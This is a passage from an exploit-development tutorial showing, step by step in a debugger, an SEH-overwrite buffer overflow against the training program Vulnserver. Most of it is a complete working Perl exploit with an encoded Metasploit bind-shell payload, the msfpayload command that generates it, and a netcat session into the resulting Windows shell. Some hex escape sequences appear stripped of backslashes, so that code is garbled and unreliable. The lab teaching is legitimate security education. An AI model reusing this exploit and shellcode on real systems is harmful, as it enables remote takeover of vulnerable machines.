Now close the SEH chain window and pass the exception through to the program to handle. Execution should then pause in the debugger at the POP EBX command at address 625010B4. From this point press F7 three times to step through the POP, POP, RET until execution reaches the JMP SHORT instruction represented by the xEBx0F characters that we placed in the first two of the four bytes before the SEH overwrite. Here we have performed the POP, POP RET that took the third entry on the stack at the time of the Exception Handler taking over, and redirected execution to the first of the instructions represented by the data we sent to the program.
See the following screenshot.
Press F7 again, and this JMP instruction will execute, taking us to the CALL statement at the end of the short section of shellcode we examined above.
Press F7 again, and now two things will happen. First, the address of the instruction immediately following the CALL (00B6FFF2 in my case, a NOP instruction), will be placed onto the stack. See the screenshot below to see the top of the stack after execution of this CALL instruction.
The second thing that occurs is that code execution will redirect to the POP ECX instruction that was at the start of our small section of shellcode. See the screenshot below.
Press F7 again, to step through the POP ECX instruction. You will note that the stack pointer moves so that the address of the instruction following the CALL is no longer at the top of the stack, and the ECX register will now be storing the value previously stored on the stack. See the following screenshot which now shows the value in the ECX register.
Press F7 three more times. The ECX register will be decremented by a value of 256 each time – you can watch this happening in the registers pane. Now press F7 once more. Code execution will now jump to within that large block of INT3 breakpoints at the start of this section of data.
At this point, we just need to work out where within this large block of INT3 characters we have landed so we can work out where in our exploit our final shellcode needs to go.
Adding the final shellcode
Calculating the position where we should place our final section of shellcode is actually quite simple. Since we are jumping backwards 768 bytes from the end of the CALL statement at the end of our small block of shellcode, we simply need to subtract 768, less the length of the data between the end of the small shellcode and the end of the block of INT3 instructions, from the value we used for the size of the block of INT3 instructions.
The data between the end of the INT3 instructions and the end of the small shellcode is 22 bytes in length. Subtracted from 768, this makes 746. My value for the size of the INT 3 block of characters (determined when we ran pattern_offset earlier) was 3498. Subtracting 746 from 3498 makes 2752. If you received a different value from the pattern_offset program earlier, please make sure you subtract 746 from this value to determine where your shellcode will start.
Let’s generate some bindshell shellcode which we can then add to our exploit at this position. I will encode the shellcode to not use the standard set of bad characters x00, x0a and x0d – if there are any other bad characters we will find out when we attempt to run the exploit.
stephen@lion:~/Vulnserver$ msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b 'x00x0ax0d' -t perl [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) my $buf = "xddxc4xd9x74x24xf4xbaxd1xcex11xebx5dx29xc9" . "xb1x56x31x55x18x83xedxfcx03x55xc5x2cxe4x17" . "x0dx39x07xe8xcdx5ax81x0dxfcx48xf5x46xacx5c" . "x7dx0ax5cx16xd3xbfxd7x5axfcxb0x50xd0xdaxff" . "x61xd4xe2xacxa1x76x9fxaexf5x58x9ex60x08x98" . "xe7x9dxe2xc8xb0xeax50xfdxb5xafx68xfcx19xa4" . "xd0x86x1cx7bxa4x3cx1exacx14x4ax68x54x1fx14" . "x49x65xccx46xb5x2cx79xbcx4dxafxabx8cxaex81" . "x93x43x91x2dx1ex9dxd5x8axc0xe8x2dxe9x7dxeb" . "xf5x93x59x7exe8x34x2axd8xc8xc5xffxbfx9bxca" . "xb4xb4xc4xcex4bx18x7fxeaxc0x9fx50x7ax92xbb" . "x74x26x41xa5x2dx82x24xdax2ex6ax99x7ex24x99" . "xcexf9x67xf6x23x34x98x06x2bx4fxebx34xf4xfb" . "x63x75x7dx22x73x7ax54x92xebx85x56xe3x22x42" . "x02xb3x5cx63x2ax58x9dx8cxffxcfxcdx22xafxaf" . "xbdx82x1fx58xd4x0cx40x78xd7xc6xf7xbex19x32" . "x54x29x58xc4x4bxf5xd5x22x01x15xb0xfdxbdxd7" . "xe7x35x5ax27xc2x69xf3xbfx5ax64xc3xc0x5axa2" . "x60x6cxf2x25xf2x7exc7x54x05xabx6fx1ex3ex3c" . "xe5x4ex8dxdcxfax5ax65x7cx68x01x75x0bx91x9e" . "x22x5cx67xd7xa6x70xdex41xd4x88x86xaax5cx57" . "x7bx34x5dx1axc7x12x4dxe2xc8x1ex39xbax9exc8" . "x97x7cx49xbbx41xd7x26x15x05xaex04xa6x53xaf" . "x40x50xbbx1ex3dx25xc4xafxa9xa1xbdxcdx49x4d" . "x14x56x79x04x34xffx12xc1xadxbdx7exf2x18x81" . "x86x71xa8x7ax7dx69xd9x7fx39x2dx32xf2x52xd8" . "x34xa1x53xc9";
Modify the skeleton exploit as shown below to add the shellcode. A couple of important things to note about the changes I have made below are:
- I am no longer starting the $baddata variable with the “GMON /” string, I am instead putting this in a separate variable and sending this through to the application before the $baddata variable. Note that the last line of the exploit has been modified to achieve this. This change simplifies the size calculations we need to make by excluding the additional characters from the “GMON /” string from the $baddata variable.
- My two calculated values of 2752 and 3498 are used in the code to set the size of the data sent before and after the final shellcode. It is important you place your own calculated values in these locations if the pattern_offset tool gave you a different value than I received earlier on in this tutorial. If these values are not correct your exploit will not work.
- I have added 16 additional NOPs immediately before the start of the final shellcodes position. This is general good practice when using encoded shellcode, as the decoding process sometimes requires additional space to work in.
#!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq '') { die("Usage: $0 IP_ADDRESS PORTnn"); } $badheader = "GMON /"; # sets variable $badheader to "GMON /" $baddata = "x90" x 2752; # 2752 "x90" characters $baddata .= "x90" x 16; # shellcode starts here # msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b 'x00x0ax0d' $baddata .= "xddxc4xd9x74x24xf4xbaxd1xcex11xebx5dx29xc9" . "xb1x56x31x55x18x83xedxfcx03x55xc5x2cxe4x17" . "x0dx39x07xe8xcdx5ax81x0dxfcx48xf5x46xacx5c" . "x7dx0ax5cx16xd3xbfxd7x5axfcxb0x50xd0xdaxff" . "x61xd4xe2xacxa1x76x9fxaexf5x58x9ex60x08x98" . "xe7x9dxe2xc8xb0xeax50xfdxb5xafx68xfcx19xa4" . "xd0x86x1cx7bxa4x3cx1exacx14x4ax68x54x1fx14" . "x49x65xccx46xb5x2cx79xbcx4dxafxabx8cxaex81" . "x93x43x91x2dx1ex9dxd5x8axc0xe8x2dxe9x7dxeb" . "xf5x93x59x7exe8x34x2axd8xc8xc5xffxbfx9bxca" . "xb4xb4xc4xcex4bx18x7fxeaxc0x9fx50x7ax92xbb" . "x74x26x41xa5x2dx82x24xdax2ex6ax99x7ex24x99" . "xcexf9x67xf6x23x34x98x06x2bx4fxebx34xf4xfb" . "x63x75x7dx22x73x7ax54x92xebx85x56xe3x22x42" . "x02xb3x5cx63x2ax58x9dx8cxffxcfxcdx22xafxaf" . "xbdx82x1fx58xd4x0cx40x78xd7xc6xf7xbex19x32" . "x54x29x58xc4x4bxf5xd5x22x01x15xb0xfdxbdxd7" . "xe7x35x5ax27xc2x69xf3xbfx5ax64xc3xc0x5axa2" . "x60x6cxf2x25xf2x7exc7x54x05xabx6fx1ex3ex3c" . "xe5x4ex8dxdcxfax5ax65x7cx68x01x75x0bx91x9e" . "x22x5cx67xd7xa6x70xdex41xd4x88x86xaax5cx57" . "x7bx34x5dx1axc7x12x4dxe2xc8x1ex39xbax9exc8" . "x97x7cx49xbbx41xd7x26x15x05xaex04xa6x53xaf" . "x40x50xbbx1ex3dx25xc4xafxa9xa1xbdxcdx49x4d" . "x14x56x79x04x34xffx12xc1xadxbdx7exf2x18x81" . "x86x71xa8x7ax7dx69xd9x7fx39x2dx32xf2x52xd8" . "x34xa1x53xc9"; $baddata .= "x90" x (3498 - length($baddata)); $baddata .= "xEBx0Fx90x90"; # JMP 0F, NOP, NOP $baddata .= pack('V', 0x625010B4); # SEH overwrite, essfunc.dll, POP EBX, POP EBP, RET $baddata .= "x59xFExCDxFExCDxFExCDxFFxE1xE8xF2xFFxFFxFF"; $baddata .= "x90" x (4000 - length($baddata)); # data after SEH handler $socket = IO::Socket::INET->new( # setup TCP socket – $socket Proto => "tcp", PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address PeerPort => "$ARGV[1]" # command line variable 2 – TCP port ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd print "$sd"; # print $sd variable $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket
Now restart the program in the debugger, start it running and launch the exploit:
stephen@lion:~/Vulnserver$ perl gmon-exploit-vs.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help.
Pass the first exception to the program so that the exception handler will kick in. The program should now appear to be running normally in the debugger.
Now we can attempt to attach to the shell that should hopefully be listening…
stephen@lion:~/Vulnserver$ nc -nvv 192.168.56.101 4444 Connection to 192.168.56.101 4444 port [tcp/*] succeeded! Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:Documents and SettingsStephen>
We have shell, exploit completed!!
Now have a go at exploiting the program outside of the debugger. You will note that there is no apparent pause in its operation when the exception handler is triggered – control is passed directly to the shellcode we have sent. In other words, we only know that the exception handler has been called when we run the program in a debugger – when run normally the exploit seamlessly takes over via the exception handling process.
Additional challenges
- When we land in the 4 byte island immediately before the exception handler address that we will overwrite, we perform a JMP forward before we then redirect execution backwards into a lower memory address. Why do you think we don’t just immediately try and redirect execution to a lower memory address?
- The small shellcode we use to redirect execution to a lower memory address seems to be pretty convoluted. Why do you think the CALL instruction we JMP to is at the end of the code rather than the beginning? Why do we reduce the value of the ECX register via using the CH subregister instead of just working directly on ECX? If you don’t know how to start investigating this, you might want to check out the following: http://grey-corner.blogspot.com/2011/04/high-level-windows-shellcode.html
- If you are using Immunity Debugger instead of OllyDbg, are you aware if there is any functionality that mimics what is provided by the OllySSeh plugin? Are you aware of any limitations in this functionality
- In the case of certain stack based buffer overflow vulnerabilities, it might be possible to overwrite both a saved return address and an SE handler address. Can you see any potential benefits from using both overwrites in an exploit?